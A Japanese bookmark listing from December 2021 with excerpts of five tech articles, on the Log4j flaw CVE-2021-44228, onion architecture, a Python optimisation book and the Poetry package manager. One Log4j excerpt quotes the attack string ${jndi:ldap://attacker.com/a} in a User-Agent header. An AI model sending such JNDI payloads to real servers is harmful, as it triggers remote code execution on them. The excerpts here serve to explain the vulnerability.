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2021年12月13日のブックマーク (5件)

  • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

    JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNSLDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

    【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
  • クリーンアーキわからんかった人のためのクリーンじゃないけどクリーンみたいなオニオンに見せかけたSOLIDの話

    依存関係逆転則含む諸原則に苦しめられた方々,いかがお過ごしでしょうか. 今回はアプリ設計の話です.と言っても,前回「クリーンアーキわからんかった人のためのオニオンアーキテクチャ」というZenn記事を書いて,反響が大きかったのでリメイクしたいなという気持ちになり執筆することにしました. 前回同様,調べていく上で誤解していた部分や理解しにくかった部分を語った上で,オニオンアーキテクチャという,クリーンじゃないけどクリーンみたいな玉ねぎについて紹介するのですが,今回はわかりやすい図解であったり,実際にどのような実装をしていくべきなのかを話の話題として加えていければ良いかな?って思っています. これは前回の記事である「クリーンアーキわからんかった人のためのオニオンアーキテクチャ」の記事の裏話的な話を一つさせてください. 今年の11月初め頃に,サポーターズという企業の学生が登壇できるLT会があり,私

    クリーンアーキわからんかった人のためのクリーンじゃないけどクリーンみたいなオニオンに見せかけたSOLIDの話
  • Python言語による実務で使える100+の最適化問題 | opt100

    はじめに 書は,筆者が長年書き溜めた様々な実務的な最適化問題についてまとめたものである. 書は,Jupyter Laboで記述されたものを自動的に変換したものであり,以下のサポートページで公開している. コードも一部公開しているが,ソースコードを保管した Github 自体はプライベートである. を購入した人は,サポートページで公開していないプログラムを 圧縮ファイル でダウンロードすることができる. ダウンロードしたファイルの解凍パスワードは<に記述>である. 作者のページ My HP 書のサポートページ Support Page 出版社のページ Pythonによる実務で役立つ最適化問題100+ (1) ―グラフ理論と組合せ最適化への招待― Pythonによる実務で役立つ最適化問題100+ (2) ―割当・施設配置・在庫最適化・巡回セールスマン― Pythonによる実務で役立つ

  • Poetryをサクッと使い始めてみる - Qiita

    はじめに 以前、pyenvとpyenv-virtualenvの自分流使い方という記事を書きました。その終わりの部分で「pyenv-virtualenv+pipをpoetryで置き換えられるんじゃないかな」と書いていたのですが、実際に試してみた結果をご紹介したいと思います。結論から言うと、pyenv-virtualenvとpipは使わなくなりました(笑) Poetryとは PoetryはPythonのパッケージマネージャの一つです。v1.0になったのが2019年末なのでまだまだ新しいツールです。pipと同じようにパッケージをpypiなどからダウンロードしてきてインストールすることができますが、それに加えて次のようなこともできます。 パッケージ管理ファイルの生成・変更 インストールされているパッケージのアップデート プロジェクトごとの仮想環境のセットアップ などなど... 他の言語だと、npm

    Poetryをサクッと使い始めてみる - Qiita
  • Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog

    2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン(以降はLog4j2と記載)で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 1.何が起きたの? Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性(CVE-2021-44228)を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software

    Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog